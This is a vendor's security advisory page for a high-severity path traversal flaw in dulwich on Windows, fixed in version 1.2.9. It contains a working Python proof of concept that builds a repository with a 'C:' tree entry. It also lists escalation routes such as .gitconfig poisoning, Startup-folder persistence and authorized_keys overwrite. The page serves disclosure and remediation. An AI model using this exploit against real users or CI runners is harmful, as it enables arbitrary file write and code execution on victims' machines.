GHSA-8MCX-5RQC-VHMF

GHSA-8MCX-5RQC-VHMF is a high-severity path traversal vulnerability in dulwich (pip), affecting versions < 1.2.9. It is fixed in 1.2.9.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths

Affected files

  • dulwich/index.py (Methods: validate_path_element_ntfs, _tree_to_fs_path)
  • dulwich/porcelain/__init__.py (Method: _checked_worktree_path)

Description / Summary

A High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject .git variants, Alternate Data Streams (ADS), git~1 short names, and reserved device names, but they completely fail to check for DOS drive letter prefixes.

A malicious Git tree can contain an entry named C:. When Dulwich processes this tree on a Windows client, the string passes the validate_path_element_ntfs check. Later, _tree_to_fs_path passes this path to os.path.join(root, b"C:\\\\Users\\\\...").

On Windows, if the second argument to os.path.join contains an absolute drive letter, the root path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.

While the standard C git client explicitly blocks this via has_dos_drive_prefix() in path.c, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.

Potential impact

This vulnerability allows an attacker to achieve Arbitrary File Write, which can trivially be escalated to Remote Code Execution (RCE) or total system compromise on the victim's Windows machine.

Attack vectors include:

  1. Git Config Poisoning (RCE): Writing a malicious C:\\Users\\<victim>\\.gitconfig file to set core.sshCommand to an arbitrary executable, granting RCE the next time the user interacts with Git.
  2. Persistence (RCE): Dropping a malicious executable into C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\.
  3. SSH Key Overwrite: Writing to C:\\Users\\<victim>\\.ssh\\authorized_keys to compromise remote servers accessible by the victim.
  4. CI/CD Compromise: If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.

Proof of Concept (PoC)

The following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.

from dulwich.objects import Blob, Tree, Commit
from dulwich.repo import Repo
import os, tempfile

repo_path = tempfile.mkdtemp()
repo = Repo.init(repo_path)

# 1. Build the payload blob.
blob = Blob(); blob.data = b"pwned-by-drive-letter\\n"
repo.object_store.add_object(blob)

# 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt
evil_txt = Tree();   evil_txt[b"evil.txt"] = (0o100644, blob.id)
repo.object_store.add_object(evil_txt)
victim_dir = Tree(); victim_dir[b"victim"] = (0o040000, evil_txt.id)
repo.object_store.add_object(victim_dir)
users_dir  = Tree(); users_dir[b"Users"]   = (0o040000, victim_dir.id)
repo.object_store.add_object(users_dir)

# VULNERABILITY: The "C:" directory bypasses validation
c_drive    = Tree(); c_drive[b"C:"]        = (0o040000, users_dir.id)
repo.object_store.add_object(c_drive)

commit = Commit()
commit.tree = c_drive.id
commit.message = b"add feature"
commit.author = commit.committer = b"attacker <[email protected]>"
commit.author_time = commit.commit_time = 1700000000
commit.author_timezone = commit.committer_timezone = 0
repo.object_store.add_object(commit)
repo.refs[b"refs/heads/main"] = commit.id

print(f"Malicious repo created at {repo_path}")
print(f"Clone with: dulwich clone {repo_path} /target/win/worktree")
# Result: A Windows checkout of this commit writes the payload directly to C:\\Users\\victim\\evil.txt

Impact

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

GHSA-8MCX-5RQC-VHMF has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.9); upgrading removes the vulnerable code path.

Affected versions

dulwich (< 1.2.9)

Security releases

dulwich → 1.2.9 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade dulwich to 1.2.9 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-8MCX-5RQC-VHMF? GHSA-8MCX-5RQC-VHMF is a high-severity path traversal vulnerability in dulwich (pip), affecting versions < 1.2.9. It is fixed in 1.2.9. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is GHSA-8MCX-5RQC-VHMF? GHSA-8MCX-5RQC-VHMF has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of dulwich are affected by GHSA-8MCX-5RQC-VHMF? dulwich (pip) versions < 1.2.9 is affected.
  4. Is there a fix for GHSA-8MCX-5RQC-VHMF? Yes. GHSA-8MCX-5RQC-VHMF is fixed in 1.2.9. Upgrade to this version or later.
  5. Is GHSA-8MCX-5RQC-VHMF exploitable, and should I be worried? Whether GHSA-8MCX-5RQC-VHMF is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-8MCX-5RQC-VHMF is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-8MCX-5RQC-VHMF? Upgrade dulwich to 1.2.9 or later.

Other vulnerabilities in dulwich

Stop the waste.
Protect your environment with Kodem.